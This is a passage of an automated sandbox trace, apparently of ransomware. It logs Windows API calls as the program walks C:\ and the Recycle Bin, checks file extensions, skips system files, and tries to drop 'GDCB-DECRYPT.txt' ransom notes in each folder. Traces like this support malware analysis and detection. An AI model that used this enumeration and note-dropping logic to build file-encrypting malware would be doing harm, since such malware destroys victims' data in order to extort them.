(lpString1="$Recycle.Bin", lpString2=".") returned -1 [0135.154] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0135.154] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0135.154] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0135.154] lstrcmpW (lpString1=".Bin", lpString2=".sql") returned -1 [0135.154] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.154] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0135.154] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0135.154] lstrcatW (in: lpString1="C:\\", lpString2="Boot" | out: lpString1="C:\\Boot") returned="C:\\Boot" [0135.154] lstrlenW (lpString="C:\\Boot") returned 7 [0135.154] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.154] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0135.154] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0135.154] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0135.154] lstrlenW (lpString="C:\\bootmgr") returned 10 [0135.154] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.154] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0135.154] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT" [0135.155] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0135.155] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0135.155] lstrcmpW (lpString1=".BAK", lpString2=".sql") returned -1 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0135.155] lstrlenW (lpString="C:\\Documents and Settings") returned 25 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\GDCB-DECRYPT.txt") returned="C:\\GDCB-DECRYPT.txt" [0135.155] lstrlenW (lpString="C:\\GDCB-DECRYPT.txt") returned 19 [0135.155] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0135.155] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0135.155] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="pagefile.sys" | out: lpString1="C:\\pagefile.sys") returned="C:\\pagefile.sys" [0135.155] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0135.155] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0135.155] lstrlenW (lpString="C:\\PerfLogs") returned 11 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0135.155] lstrlenW (lpString="C:\\Program Files") returned 16 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0135.155] lstrlenW (lpString="C:\\Program Files (x86)") returned 22 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0135.155] lstrlenW (lpString="C:\\ProgramData") returned 14 [0135.155] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.155] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0135.155] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0135.155] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0135.155] lstrlenW (lpString="C:\\Recovery") returned 11 [0135.156] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.156] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0135.156] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0135.156] lstrcatW (in: lpString1="C:\\", lpString2="swapfile.sys" | out: lpString1="C:\\swapfile.sys") returned="C:\\swapfile.sys" [0135.156] lstrlenW (lpString="C:\\swapfile.sys") returned 15 [0135.156] lstrcmpW (lpString1=".sys", lpString2=".sql") returned 1 [0135.156] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.156] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0135.156] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0135.156] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0135.156] lstrlenW (lpString="C:\\System Volume Information") returned 28 [0135.156] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.156] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0135.156] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0135.156] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0135.156] lstrlenW (lpString="C:\\Users") returned 8 [0135.156] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 1 [0135.156] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0135.156] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0135.156] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0135.156] lstrlenW (lpString="C:\\Windows") returned 10 [0135.156] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285fa50 | out: lpFindFileData=0x285fa50) returned 0 [0135.156] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.156] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.156] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\\\GDCB-DECRYPT.txt") returned 20 [0135.156] CreateFileW (lpFileName="C:\\\\GDCB-DECRYPT.txt" (normalized: "c:\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.157] GetLastError () returned 0x50 [0135.157] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.157] lstrlenW (lpString="C:\\") returned 3 [0135.157] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*" [0135.157] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 0x2c75c0 [0135.157] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0135.157] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0135.157] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin" [0135.157] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\" [0135.157] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.157] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.157] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.157] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.157] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.157] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.158] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0135.158] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0135.158] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x2c7ac0 [0135.158] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.158] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.158] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.158] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.158] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.158] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.158] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.158] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt" [0135.158] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0135.158] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.158] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.158] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0135.158] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0135.158] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18" [0135.158] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0135.158] lstrcmpW (lpString1=".Bin\\S-1-5-18", lpString2=".sql") returned -1 [0135.158] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0135.158] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0135.158] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0135.158] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000" [0135.158] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned 61 [0135.158] lstrcmpW (lpString1=".Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".sql") returned -1 [0135.158] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0135.158] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.158] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.158] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\\\GDCB-DECRYPT.txt") returned 33 [0135.158] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.159] GetLastError () returned 0x50 [0135.159] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.159] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16 [0135.159] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*" [0135.159] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x2c7500 [0135.159] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.159] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.159] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.159] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.159] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.159] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.159] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.159] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt" [0135.159] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.159] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0135.159] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0135.159] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0135.159] lstrlenW (lpString="C:\\$Recycle.Bin\\GDCB-DECRYPT.txt") returned 32 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.159] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.159] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.160] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.160] lstrcmpW (lpString1="S-1-5-18", lpString2=".") returned 1 [0135.160] lstrcmpW (lpString1="S-1-5-18", lpString2="..") returned 1 [0135.160] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-18" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18") returned="C:\\$Recycle.Bin\\S-1-5-18" [0135.160] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\") returned="C:\\$Recycle.Bin\\S-1-5-18\\" [0135.160] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.160] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.160] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.160] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.160] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.160] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.160] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0135.160] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0135.160] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0xffffffff [0135.161] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0135.162] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0135.162] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="ʅP" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\ʅP") returned="C:\\$Recycle.Bin\\S-1-5-18\\ʅP" [0135.162] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\ʅP") returned 28 [0135.162] lstrcmpW (lpString1=".Bin\\S-1-5-18\\ʅP", lpString2=".sql") returned -1 [0135.162] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.162] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0135.162] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.162] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-18\\\\GDCB-DECRYPT.txt") returned 42 [0135.162] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.163] GetLastError () returned 0x50 [0135.163] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.163] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\") returned 25 [0135.163] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-18\\*") returned="C:\\$Recycle.Bin\\S-1-5-18\\*" [0135.163] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0xffffffff [0135.163] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.164] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0135.164] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0135.164] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000" [0135.164] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0135.164] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.164] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.164] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.164] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.164] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.164] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62 [0135.164] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0135.164] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.164] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.164] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.164] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.164] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.164] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.164] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.164] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.164] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="desktop.ini" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini" [0135.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned 73 [0135.164] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.164] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.164] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.164] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.164] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0135.164] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 78 [0135.164] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.164] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.164] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.164] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.165] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 79 [0135.165] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.165] GetLastError () returned 0x50 [0135.165] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.165] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 62 [0135.165] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0135.165] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", 